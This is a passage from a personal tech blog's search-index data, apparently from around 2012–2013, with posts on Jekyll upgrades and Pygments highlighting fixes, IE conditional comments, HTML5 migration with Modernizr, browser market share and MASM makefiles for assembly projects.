1.0.2.\nThere are tons of new features included in the new release. Check out the changelog here\nGood to see Jekyll referring my post of Installing Jekyll on Windows\n","permalink":"https://madhur.co.in/blog/2013/06/02/jekyllupgraded.html","summary":"\u003cp\u003e\u003ca href=\"https://github.com/mojombo/jekyll\"\u003eJekyll\u003c/a\u003e has been upgraded to 1.0.2 and in process I have also updated this blog to be compatible with Jekyll 1.0.2.\u003c/p\u003e\n\u003cp\u003eThere are tons of new features included in the new release. Check out the changelog \u003ca href=\"https://github.com/mojombo/jekyll/blob/master/History.markdown\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGood to see \u003ca href=\"http://jekyllrb.com/docs/installation/\"\u003eJekyll\u003c/a\u003e referring my post of \u003ca href=\"/blog/2011/09/01/runningjekyllwindows.html\"\u003eInstalling Jekyll on Windows\u003c/a\u003e\u003c/p\u003e","title":"Jekyll upgraded to 1.0.2"},{"content":"Recently, there has been lot of discussion over the market share of Internet Explorer. At first, Windows Team blog published an article which says the traditional methods of calculating browser market share are wrong and misleading. This is partly because browsers such as Google Chrome have a builtin Pre-rendering feature which fetches the hyperlinks on the page invisibly even if user has not explicitly clicked on it.\nAnyways, Focusing away from all that attention, I would like to present the statistics of browser share of visitors of my blog. I really do believe that results of my blog will be applicable to all of the community. My blog recieves approximately 100 vists/day.\nOverall Market Share In my opinion, the high usage of Internet explorer is clearly because of usage of IE as an Enterprise standard browser. Many users, who are working in companies and use company provided assets, have no choice but to use the browser installed on their devices, which in 99% of the cases is Internet Explorer\nIt is interesting to see how drastically the share of Internet Explorer drops to single digit percentages on Weekends.\nMonday Tuesday Wednesday Thursday Friday Saturday Sunday Conclusion To conclude, high market share of IE is only and only because its a standard browser on Microsoft Windows Operating System. The gain which Microsoft gets because of monopoly in Operating System market is still unparalleled. It would be interesting to see, how the share of IE slides when the enterprise starts moving more and more on mobile platforms and start introducing BYOD\n","permalink":"https://madhur.co.in/blog/2012/05/05/browsermarketshare.html","summary":"\u003cp\u003eRecently, there has been lot of discussion over the market share of Internet Explorer. At first, \u003ca href=\"http://windowsteamblog.com/ie/b/ie/\"\u003eWindows Team blog\u003c/a\u003e published an \u003ca href=\"http://windowsteamblog.com/ie/b/ie/archive/2012/03/18/understanding-browser-usage-share-data.aspx\"\u003earticle\u003c/a\u003e which says the traditional\nmethods of calculating browser market share are wrong and misleading. This is partly because browsers such as Google Chrome have a builtin \u003ca href=\"http://news.softpedia.com/news/Google-Chrome-s-Prerendering-May-Be-Linked-to-It-Losing-Market-Share-256767.shtml\"\u003ePre-rendering\u003c/a\u003e feature which fetches\nthe hyperlinks on the page invisibly even if user has not explicitly clicked on it.\u003c/p\u003e\n\u003cp\u003eAnyways, Focusing away from all that attention, I would like to present the statistics of browser share of visitors of my blog. I really do believe that results of my blog will be applicable\nto all of the community. My blog recieves approximately 100 vists/day.\u003c/p\u003e","title":"Browser Market Share of Internet Explorer"},{"content":"SharePoint 2010 introduces a new object model to access sharepoint data on the client side which is the client Client Object model\nDevelopers writing client applications have been getting confused as to which is to be used when.\nI asked the question on http://sharepoint.stackexchange.com and got many replies\nWebServices or Client object model?\nThe most upvoted answer gives the preference to using Client object model over web services whenever possible.\nRecently, the auther of SPServices library - Marc Anderson also wrote an article covering the same topic. You can read the article here\nWhen to Choose SPServices vs. the Client Side Object Model (CSOM)\n","permalink":"https://madhur.co.in/blog/2012/04/15/webservicescom.html","summary":"\u003cp\u003eSharePoint 2010 introduces a new object model to access sharepoint data on the client side which is the client \u003ca href=\"http://msdn.microsoft.com/en-us/gg620623\"\u003eClient Object model\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eDevelopers writing client applications have been getting confused as to which is to be used when.\u003c/p\u003e\n\u003cp\u003eI asked the question on \u003ca href=\"http://sharepoint.stackexchange.com\"\u003ehttp://sharepoint.stackexchange.com\u003c/a\u003e and got many replies\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://sharepoint.stackexchange.com/questions/26093/webservices-or-client-object-model\"\u003eWebServices or Client object model?\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe most upvoted answer gives the preference to using Client object model over web services whenever possible.\u003c/p\u003e\n\u003cp\u003eRecently, the auther of \u003ca href=\"http://spservices.codeplex.com/\"\u003eSPServices\u003c/a\u003e library - Marc Anderson also wrote an article covering the same topic. You can read the article \u003ca href=\"http://sympmarc.com/2012/04/12/when-to-choose-spservices-vs-the-client-side-object-model-csom/#comment-23489\"\u003ehere\u003c/a\u003e\u003c/p\u003e","title":"WebServices or Client Object Model"},{"content":"Microsoft\u0026rsquo;s open source project community - Codeplex finally added support of Git source control system to its system. It\u0026rsquo;s a surprise decision in part that Git was created by none other than Linus Torvalds and Steve Ballmer once described Linux as a cancer.\nIt\u0026rsquo;s a good news for me in that I don\u0026rsquo;t have to worry about Team Explorer in each of my computers and I can work offline until I decide to sync changes with the online repository. I have already moved my projects to Git based repositories. If you want to do that too, you need to send a mail to Codeplex support giving them the link of their projects. Ideally, I would have liked to see an online interface to make this switch but I am sure days are not far ahead when this will be the one of the most desirable feature requested.\nNo surprise that this move is direct result of huge rise in Git popularity. Recently many people have left Codeplex and moved to Github which is a dedicated open source community project site based on Git and has become immensely popular. The rise of movement from Codeplex to Github can be just gauged by this simple Google search query\nI have already moved all of my projects to Git. If you are contributing on them, see the Source code tab for updated Urls of the Git repository.\nmadhur.codeplex.com spfeaturecollection.codeplex.com stpinspector.codeplex.com ","permalink":"https://madhur.co.in/blog/2012/03/27/codeplexmovegit.html","summary":"\u003cp\u003eMicrosoft\u0026rsquo;s open source project community - \u003ca href=\"http://www.codeplex.com/\"\u003eCodeplex\u003c/a\u003e finally added support of \u003ca href=\"http://en.wikipedia.org/wiki/Git_(software)\"\u003eGit\u003c/a\u003e source control system to its system. It\u0026rsquo;s a surprise decision in part that \u003ca href=\"http://en.wikipedia.org/wiki/Git_(software)\"\u003eGit\u003c/a\u003e was created by none other than\n\u003ca href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\"\u003eLinus Torvalds\u003c/a\u003e and \u003ca href=\"http://en.wikipedia.org/wiki/Steve_Ballmer\"\u003eSteve Ballmer\u003c/a\u003e once described \u003ca href=\"http://en.wikipedia.org/wiki/Linux\"\u003eLinux\u003c/a\u003e as a cancer.\u003c/p\u003e\n\u003cp\u003eIt\u0026rsquo;s a good news for me in that I don\u0026rsquo;t have to worry about Team Explorer in each of my computers and I can work offline until I decide to sync changes with the online repository. I have already moved my\nprojects to Git based repositories. If you want to do that too, you need to send a mail to \u003ca href=\"https://www.codeplex.com/site/contact\"\u003eCodeplex support\u003c/a\u003e giving them the link of their projects. Ideally, I would have liked to see an online interface to make this switch but I am sure days are not far ahead when this will be the one of the most desirable feature requested.\u003c/p\u003e","title":"Move your projects from TFS to Git in Codeplex"},{"content":"If you have been using Jekyll, you must be aware of code highlighting feature using highlight blocks. This highlighting is accomplished by a neat python script called Pygments\nPygments is a very powerful code syntax highlighter. It allows you to pass various options such as weather to display line no.s or which lines to be highlighted. When Jekyll was released, there was no way to use these options since Jekyll encapsulated the execution of Python internally through Albino gem\nThere has been some progress over this, a pull request was submitted in Jekyll which allowed various options to be passed to Pygments.\nHowever, when I tried to use hl_lines option to highlight the lines of code, I faced several issues. Following is the syntax I used\nhighlight html hl_lines=2 4 Running the above piece of code reults in only line 2 being highlighted and not both. So I decided to enclose it with quotation marks\nhighlight html hl_lines=\u0026#34;2 4\u0026#34; The above piece of code gives the error.\nInvalid flag value -O Certainly, there are some things which needs to be fixed. First of all in albino, the validation function has a bug. The value regular express should be allowed quotation marks character so that hl_lines list can be provided enclosed in quotation marks. This is the first problem in albino.rb file.\ndef validate_shell_args(flag, value) if flag !~ /^[a-z]+$/i raise ShellArgumentError, \u0026#34;Flag is invalid: #{flag.inspect}\u0026#34; end if value !~ /^[a-z0-9\\-\\_\\+\\=\\#\\,\\s]+$/i raise ShellArgumentError, \u0026#34;Flag value is invalid: -#{flag} #{value.inspect}\u0026#34; end end The second problem is that we can seperate the hl_lines list with spaces since Jekyll uses the space as a delimeter to parse these options. To solve this problem, I pass in the list seperated by commas and then modified the highlight.rb file in Jekyll to recombine them into the list. See the updated function below:\ndef initialize(tag_name, markup, tokens) super\tif markup =~ SYNTAX\t@lang = $1 if defined? $2 # puts $2 tmp_options = {} $2.split.each do |opt|\tkey, value = opt.split(\u0026#39;=\u0026#39;)\tif key == \u0026#39;hl_lines\u0026#39; puts value value = value.gsub(\u0026#34;,\u0026#34;,\u0026#34; \u0026#34;) end\tif value.nil? if key == \u0026#39;linenos\u0026#39;\tvalue = \u0026#39;inline\u0026#39; else value = true end end tmp_options[key] = value end tmp_options = tmp_options.to_a.collect { |opt| opt.join(\u0026#39;=\u0026#39;) } # additional options to pass to Albino @options = { \u0026#39;O\u0026#39; =\u0026gt; tmp_options.join(\u0026#39;,\u0026#39;) }\telse @options = {} end else raise SyntaxError.new(\u0026#34;Syntax Error in \u0026#39;highlight\u0026#39; - Valid syntax: highlight \u0026lt;lang\u0026gt; [linenos]\u0026#34;) end end I cannot submit it as patch in Jekyll since this fix involves fixing two components: Jekyll and Albino. May be someone can come with better approach to fix this. This works for me as of now.\n","permalink":"https://madhur.co.in/blog/2012/03/05/codehighlightjekyll.html","summary":"\u003cp\u003eIf you have been using Jekyll, you must be aware of code highlighting feature using highlight blocks. This highlighting is accomplished by\na neat python script called \u003ca href=\"http://pygments.org/\"\u003ePygments\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePygments is a very powerful code syntax highlighter. It allows you to pass various options such as weather to display line no.s or which lines to be highlighted.\nWhen Jekyll was released, there was no way to use these options since Jekyll encapsulated the execution of Python internally through \u003ca href=\"https://github.com/github/albino\"\u003eAlbino gem\u003c/a\u003e\u003c/p\u003e","title":"Enable code highlighting with Pygments/Jekyll"},{"content":"Saw, this post on Glassdoor. Being an ex-MS, I wonder what\u0026rsquo;s slowly happening to this great company.\nThe most uncollaborative work environment on the planet - the only way to move forward is to stab your neighbor in the back. The culture here actually encourages self-promotion and to tear down others. Ironically they spend millions on programs to appear as if this is not the case - then reviews come, and its Social Darwinism in its pure form - the only thing I have not seen first hand, is for a VP to eat their young. I cannot wait to get out of here - and I am actually doing well in terms of reviews and bonus - but life is too short to move a career forward at this expense level. I suspect those who love this enviroment have not been here long enough to realize that for them to move forward - they will need to leave a wake of bodies in their path - which is not for everyone.\n","permalink":"https://madhur.co.in/blog/2012/03/01/whatswrongwithmsft.html","summary":"\u003cp\u003eSaw, this \u003ca href=\"http://www.glassdoor.com/Reviews/Employee-Review-Microsoft-RVW1366630.htm\"\u003epost\u003c/a\u003e on Glassdoor. Being an ex-MS, I wonder what\u0026rsquo;s slowly happening to this great company.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe most uncollaborative work environment on the planet - the only way to move forward is to stab your neighbor in the back. The culture here actually encourages self-promotion and to tear down others.\nIronically they spend  millions on programs to appear as if this is not the case - then reviews come, and its Social Darwinism in its pure form - the only thing I have not seen first hand, is for a VP to eat their young.\nI cannot wait to get out of here - and I am actually doing well in terms of reviews and bonus - but life is too short to move a career forward at this expense level.\nI suspect those who love this enviroment have not been here long enough to realize that for them to move forward - they will need to leave a wake of bodies in their path - which is not for everyone.\u003c/p\u003e","title":"What's wrong with Microsoft"},{"content":"HTML5 is the next big thing. There is no reason which should hold you back from upgrading your site to new HTML5 which adds lot of features some of them which I discussed in my previous blog article.\nIf you think lack of browser compatiblity is holding you back, then there is good news - there are ways using which you can even have the incompatible browsers work with your new HTML5 site.\nHere, I am going to show you how you can upgrade you site/blog to HTML 5. I am just going to show you very basic things. At a granular level, you might require more changes depending on your site.\nPrepare a development branch. Since we will makeing a lot of changes to HTML/CSS, its good to have a new branch on your repository. You don\u0026rsquo;t want to mess your master/source branch. git branch develop git checkout develop Once we have done the changes, we will test it throroughly and merge it back to our main branch.\nChanges to main default.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;author\u0026#34; content=\u0026#34;Madhur Ahuja\u0026#34; /\u0026gt;\t\u0026lt;!--[if lt IE 9]\u0026gt; \u0026lt;script src=\u0026#34;/files/js/modernizr-2.5.3.js\u0026#34; type=\u0026#34;text/javascript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;script src=\u0026#34;/files/js/site.js\u0026#34; type=\u0026#34;text/javascript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;gradient\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;container\u0026#34; class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;header id=\u0026#34;header\u0026#34; class=\u0026#34;span-24 last\u0026#34;\u0026gt; \u0026lt;/header\u0026gt; \u0026lt;div id=\u0026#34;content\u0026#34; class=\u0026#34;span-24 last\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;footer id=\u0026#34;footer\u0026#34; class=\u0026#34;span-24 last\u0026#34;\u0026gt; \u0026lt;/footer\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Changes to blog-post.html --- layout: default top: Madhur Ahuja --- \u0026lt;section id=\u0026#34;primary\u0026#34; class=\u0026#34;span-24 last\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;blogcontent\u0026#34;\u0026gt; \u0026lt;aside class=\u0026#34;postmeta full span-5\u0026#34;\u0026gt; \u0026lt;/aside\u0026gt; \u0026lt;article class=\u0026#34;post full span-18 last\u0026#34;\u0026gt;\t\u0026lt;footer\u0026gt; \u0026lt;div class=\u0026#34;blocked tags\u0026#34;\u0026gt; \u0026lt;p\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/footer\u0026gt; \u0026lt;div class=\u0026#34;hr\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/article\u0026gt;\t\u0026lt;/div\u0026gt;\t\u0026lt;/section\u0026gt; Enable HTML5 input controls Since I use a search box to search my site, I can use HTML5 search type box and also the required attribute\n\u0026lt;input type=\u0026#34;search\u0026#34; required id=\u0026#34;q\u0026#34; name=\u0026#34;q\u0026#34; value=\u0026#34;\u0026#34; placeholder=\u0026#34;Site Search\u0026#34; /\u0026gt; Polyfills for your old incompatible browsers (IE ?)\nAs I said above, even if your browser doesn\u0026rsquo;t support HTML5, you can use pollyfills using which you can enable most of the HTML 5 features. Keep in mind that its not magic that using pollyfills suddenly enables your browser to enable HTML5. Most of the polyfills work by making necessary changes in the DOM behind the scenes so as to emulate HTML5 behaviour. I have already modernizer in the default.html to enable this.\nOnce we have done all the changes, we will review them, commit and merge into master branch. After that we can delete the development branch\ngit diff master..develop git commit -am \u0026#34;Updated my blog to HTML5\u0026#34; git checkout master git merge develop git branch -d develop ","permalink":"https://madhur.co.in/blog/2012/02/26/upgradehtml5.html","summary":"\u003cp\u003eHTML5 is the next big thing. There is no reason which should hold you back from upgrading your site to new HTML5 which adds lot of features some of them which I discussed in my previous blog article.\u003c/p\u003e\n\u003cp\u003eIf you think lack of browser compatiblity is holding you back, then there is good news - there are ways using which you can even have the incompatible browsers work with your new HTML5 site.\u003c/p\u003e","title":"How to upgrade your Jekyll Blog/Site to HTML5"},{"content":"Since IE5, Internet Explorer supports something called Conditional Comments\nConditional comments can be used to provide and hide code to and from Internet Explorer. For example, I can find the version of Internet Explorer you are running as follows:\nAccording to the conditional comment this is not IE\nThe snippet below is used to show this:\n\u0026lt;!--[if IE]\u0026gt; According to the conditional comment this is IE\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if IE 6]\u0026gt; According to the conditional comment this is IE 6\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if IE 7]\u0026gt; According to the conditional comment this is IE 7\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if IE 8]\u0026gt; According to the conditional comment this is IE 8\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if IE 9]\u0026gt; According to the conditional comment this is IE 9\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if gte IE 8]\u0026gt; According to the conditional comment this is IE 8 or higher\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if lt IE 9]\u0026gt; According to the conditional comment this is IE lower than 9\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if lte IE 7]\u0026gt; According to the conditional comment this is IE lower or equal to 7\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if gt IE 6]\u0026gt; According to the conditional comment this is IE greater than 6\u0026lt;br /\u0026gt; \u0026lt;![endif]--\u0026gt; \u0026lt;!--[if !IE]\u0026gt; --\u0026gt; According to the conditional comment this is not IE\u0026lt;br /\u0026gt; \u0026lt;!-- \u0026lt;![endif]--\u0026gt; Also, checkout conditional comments on MSDN\n","permalink":"https://madhur.co.in/blog/2012/02/20/conditionalcommentsie.html","summary":"\u003cp\u003eSince IE5, Internet Explorer supports something called \u003ca href=\"http://en.wikipedia.org/wiki/Conditional_comment\"\u003eConditional Comments\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eConditional comments can be used to provide and hide code to and from Internet Explorer. For example, I can find the version of Internet Explorer you are running as follows:\u003c/p\u003e\n\u003cdiv class=\"notice\"\u003e\n\u003c!--[if IE]\u003e\nAccording to the conditional comment this is IE\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if IE 6]\u003e\nAccording to the conditional comment this is IE 6\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if IE 7]\u003e\nAccording to the conditional comment this is IE 7\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if IE 8]\u003e\nAccording to the conditional comment this is IE 8\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if IE 9]\u003e\nAccording to the conditional comment this is IE 9\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if gte IE 8]\u003e\nAccording to the conditional comment this is IE 8 or higher\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if lt IE 9]\u003e\nAccording to the conditional comment this is IE lower than 9\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if lte IE 7]\u003e\nAccording to the conditional comment this is IE lower or equal to 7\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if gt IE 6]\u003e\nAccording to the conditional comment this is IE greater than 6\u003cbr /\u003e\n\u003c![endif]--\u003e\n\u003c!--[if !IE]\u003e --\u003e\nAccording to the conditional comment this is not IE\u003cbr /\u003e\n\u003c!-- \u003c![endif]--\u003e\n\u003c/div\u003e\n\u003cp\u003eThe snippet below is used to show this:\u003c/p\u003e","title":"Conditional comments in Internet Explorer"},{"content":"I came across two excellent sites to learn HTML5:\nHTML 5 Demos\nDive into HTML5\nHTML5 BoilerPlate\nHTML 5 Test\nDetecting HTML 5 Features Modernizr is an open source, MIT-licensed JavaScript library that detects support for many HTML5 \u0026amp; CSS3 features. For example, following are the results from your browser:\nHTML 5 Features Detected Canvas Video LocalStorage Web Workers Offline Web Applications GeoLocation Input Types PlaceHolder Text Form Autofocus History API ","permalink":"https://madhur.co.in/blog/2012/02/20/learnhtml5.html","summary":"\u003cp\u003eI came across two excellent sites to learn HTML5:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://html5demos.com/\"\u003eHTML 5 Demos\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://diveintohtml5.ep.io/index.html\"\u003eDive into HTML5\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://html5boilerplate.com/\"\u003eHTML5 BoilerPlate\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://html5test.com\"\u003eHTML 5 Test\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"detecting-html-5-features\"\u003eDetecting HTML 5 Features\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"http://www.modernizr.com/\"\u003eModernizr\u003c/a\u003e is an open source, MIT-licensed JavaScript library that detects support for many HTML5 \u0026amp; CSS3 features. For example, following are the results from your browser:\u003c/p\u003e\n\u003ch2 id=\"html-5-features-detected\"\u003eHTML 5 Features Detected\u003c/h2\u003e\n\u003ch3 id=\"canvas\"\u003eCanvas\u003c/h3\u003e\n\u003cscript type=\"text/javascript\"\u003e\nif(Modernizr.canvas)\n\tdocument.write(\"\u003cdiv class='success'\u003eCanvas is supported\u003c/div\u003e\");\nelse\n\tdocument.write(\"\u003cdiv class='error'\u003eCanvas is not supported\u003c/div\u003e\");\n\n\u003c/script\u003e\n\u003ch3 id=\"video\"\u003eVideo\u003c/h3\u003e\n\u003cscript type=\"text/javascript\"\u003e\nif(Modernizr.video)\n\tdocument.write(\"\u003cdiv class='success'\u003eVideo is supported\u003c/div\u003e\");\nelse\n\tdocument.write(\"\u003cdiv class='error'\u003eVideo is not supported\u003c/div\u003e\");\n\n\u003c/script\u003e\n\u003ch3 id=\"localstorage\"\u003eLocalStorage\u003c/h3\u003e\n\u003cscript type=\"text/javascript\"\u003e\nif(Modernizr.localstorage)\n\tdocument.write(\"\u003cdiv class='success'\u003eLocalStorage is supported\u003c/div\u003e\");\nelse\n\tdocument.write(\"\u003cdiv class='error'\u003eLocalStorage is not supported\u003c/div\u003e\");\n\n\u003c/script\u003e\n\u003ch3 id=\"web-workers\"\u003eWeb Workers\u003c/h3\u003e\n\u003cscript type=\"text/javascript\"\u003e\nif(Modernizr.webworkers)\n\tdocument.write(\"\u003cdiv class='success'\u003eWeb Workers is supported\u003c/div\u003e\");\nelse\n\tdocument.write(\"\u003cdiv class='error'\u003eWeb Workers is not supported\u003c/div\u003e\");\n\n\u003c/script\u003e\n\u003ch3 id=\"offline-web-applications\"\u003eOffline Web Applications\u003c/h3\u003e\n\u003ch3 id=\"geolocation\"\u003eGeoLocation\u003c/h3\u003e\n\u003cscript type=\"text/javascript\"\u003e\nif(Modernizr.geolocation)\n\tdocument.write(\"\u003cdiv class='success'\u003eGeoLocation is supported\u003c/div\u003e\");\nelse\n\tdocument.write(\"\u003cdiv class='error'\u003eGeoLocation is not supported\u003c/div\u003e\");\n\n\u003c/script\u003e\n\u003ch3 id=\"input-types\"\u003eInput Types\u003c/h3\u003e\n\u003ch3 id=\"placeholder-text\"\u003ePlaceHolder Text\u003c/h3\u003e\n\u003ch3 id=\"form-autofocus\"\u003eForm Autofocus\u003c/h3\u003e\n\u003ch3 id=\"history-api\"\u003eHistory API\u003c/h3\u003e\n\u003cscript type=\"text/javascript\"\u003e\nif(Modernizr.history)\n\tdocument.write(\"\u003cdiv class='success'\u003eHistory API is supported\u003c/div\u003e\");\nelse\n\tdocument.write(\"\u003cdiv class='error'\u003eHistory API is not supported\u003c/div\u003e\");\n\n\u003c/script\u003e","title":"Learning HTML5"},{"content":"If somebody had asked me 5 years ago, what are the next big web technologies on the horizon ? What would my answer would have been?\nAJAX, Flash or perhaps Silverlight ?\nThe scene has changed from then. Now its the HTML5, CSS3 and Javascript which are the future of web technologies. This change has come gradually due to some reasons:\nTremendous rise in popularity of Javascript: Few years back, developers used to hate write javascript code. Partially because its loosely typed and perhaps more because each browser has got its own JavaECMAScript implementation. Jquery project has greatly simplified the effort required in maintaining cross-browser client side script. And slowly, javascript is being loved by developers. One of the reason of this is change is due to emergence of standard coding design patterns in javascript. Earlier developers were unaware that object oriented concepts like classes, objects, encapsulation, inheritance could be applied to javascript. But now, these has become very standard design patterns. JavaScript is better than it\u0026rsquo;s ever been\nHave a look at these popular javascript based projects which have contributed to rise in popularity of this language.\nJquery HeadJS KnockoutJS Emergence of HTML5: W3C consortium has come up with new standard for HTML which includes advanced functionalities like local storage, audio and video. Since HTML5 is going to be uniquitous standard, it seems it is going to replace technologies like Silverlight and Flash.\nCSS3: CSS3 further adds the power to HTML5.\nMobile: Perhaps one of the biggest push these three technologies (HTML5, CSS3 and Javascript) has got is in area of Mobile. More and more mobile frameworks (Android, IOS and WP7) are increasingly starting to use these technologies as the base for their front end.\nBrowser Extensions: The war of browser between IE, Mozilla and Chrome has resulted in browser extensions. These extensions are particularly popular in Chrome and Mozilla browsers. And guess what ? Writing a custom extension for these browser require skills in HTML and Javascript.\nWindows 8: The next version of Microsoft Windows OS is going to use a new UI called Metro. And apart from using Managed code such as C# and VB.NET , you can create Metro Style apps in javascritp as well. See the article Building your first Windows Metro style app using JavaScript\nIt looks clear to me that HTML5, CSS3 and Javascript is going to be future for building rich UI apps on Web and mobile or perhaps even desktop. What do you think ?\n","permalink":"https://madhur.co.in/blog/2012/02/15/futurewebmobile.html","summary":"\u003cp\u003eIf somebody had asked me 5 years ago, what are the next big web technologies on the horizon ? What would my answer would have been?\u003c/p\u003e\n\u003cp\u003eAJAX, Flash or perhaps Silverlight ?\u003c/p\u003e\n\u003cp\u003eThe scene has changed from then. Now its the HTML5, CSS3 and Javascript which are the future of web technologies. This change has come gradually due to some reasons:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eTremendous rise in popularity of Javascript:\u003c/strong\u003e Few years back, developers used to hate write javascript code. Partially because its loosely typed and perhaps more because each browser has got its own JavaECMAScript implementation. \u003ca href=\"http://jquery.com\"\u003eJquery project\u003c/a\u003e has greatly simplified\nthe effort required in maintaining cross-browser client side script. And slowly, javascript is being loved by developers. One of the reason of this is change is due to emergence of standard coding design patterns in javascript. Earlier developers were unaware that object oriented concepts like\nclasses, objects, encapsulation, inheritance could be applied to javascript. But now, these has become very standard design patterns.  JavaScript is better than it\u0026rsquo;s ever been\u003c/p\u003e","title":"Future of Web and Mobile: HTML5, CSS3 and Javascript"},{"content":"I have been a big fan of assembly programming since my old school days. The raw power of CPU which you get is just pure awesome. But, with that power, you also get much headache of non-availablity of standard IDE\u0026rsquo;s for using Assembly language.\nVisual Studio is one of the options, but it restricts you to the installed version of Microsoft Macro Assembler (ml.exe)\nSome prefer using QEditor.exe which ships with MASM32 SDK\nSome like me, just cannot stay away from there favourite editors such as Notepad++, Ultraedit etc.\nThe benefit of using editors such as Notepad++, Ultraedit is that you get fully customizable syntax highlighting and command line tools to be used while assembling and linking their programs. However, with these tools you have to add commands to both assemble and link your programs. And if you are like me, who fiddles with 16bit, 32bit and 64 bit assembly programs, you have to add seperate commands for them. And not to forget, seperate commands for outputting debug and release binaries as well.\nTo simplify the above process, I have been exploring the use of makefiles to assemble and link my programs and this has worked wonderfully well. I just maintain my each assembly project in seperate directory with the makefile and use that as a command to assembly and link the program from Notepad++, using NppExec plugin. Apart from Notepad++, I am using following tools as my development environment. You might be using different, but they can be applied in same concept.\nNMAKE(nmake.exe) v10.00.30319.01 which ships with Visual Studio 2010 available here Borland Resource compiler (brcc32.exe) v4.50 which ships with Borland compiler tools available somewhere on the net Microsoft Macro Assembler(ml.exe) v6.14 and Linker (link.exe) v5.12 which ships with Masm 32 SDK available here Note that all the above tools should be put preferable in the PATH variable for easy access. I do this by creating a simple command script as follows:\nsetx PATH \u0026#34;f:\\common tools\\git\\bin;f:\\common tools\\python\\app;f:\\common tools\\python\\app\\scripts;f:\\common tools\\ruby\\bin;f:\\masm32\\bin;F:\\Borland\\BCC55\\Bin;\u0026#34; I am going to show you some scenarios here on how I am using Makefiles to assemble and link my programs. Note that this is not a tutorial for using makefiles. I assume you have some basic familiarity with it.\nA Win32 Assembly program without the use of resources: MASMPATH=F:\\MASM32 ML=ml DEBUG = 1 !IF $(DEBUG)==1 CFLAGS=/c /coff /Zd /Zi /Fl /Sn /nologo /I !ELSE CFLAGS=/c /coff /Fl /Sn /nologo /I !ENDIF LDFLAGS= SOURCES=trans.asm OBJECTS=$(SOURCES:.asm=.obj) PROJ=trans.exe $(PROJ): $(OBJECTS) link /NOLOGO /SUBSYSTEM:WINDOWS /LIBPATH:$(MASMPATH)\\LIB $(OBJECTS) $(OBJECTS): $(SOURCES) $(ML) $(CFLAGS) $(MASMPATH)\\include $(SOURCES) clean: del *.exe del *.obj del *.lst A win32 Assembly program with the use of resources: MASMPATH=F:\\MASM32 ML=ml DEBUG = 1 !IF $(DEBUG)==1 CFLAGS=/c /coff /Zd /Zi /Fl /Sn /nologo /I !ELSE CFLAGS=/c /coff /Fl /Sn /nologo /I !ENDIF LDFLAGS= SOURCES=vaoffset.asm RESOURCES=vaoffset.rc OBJECTS=$(SOURCES:.asm=.obj) vaoffset.res PROJ=vaoffset.exe $(PROJ): $(OBJECTS) link /NOLOGO /SUBSYSTEM:WINDOWS /LIBPATH:$(MASMPATH)\\LIB /LIBPATH:f:\\projects\\programs\\winsock\\netsend $(OBJECTS) $(OBJECTS): $(SOURCES) $(ML) $(CFLAGS) $(MASMPATH)\\include $(SOURCES) C:\\Borland\\BCC55\\Bin\\brcc32.exe vaoffset.rc clean: del *.exe del *.obj del *.lst Now, Provided NMAKE is in your path variable, you can simply set a command in Notepad++ or in your favourite text editor to invoke nmake in current 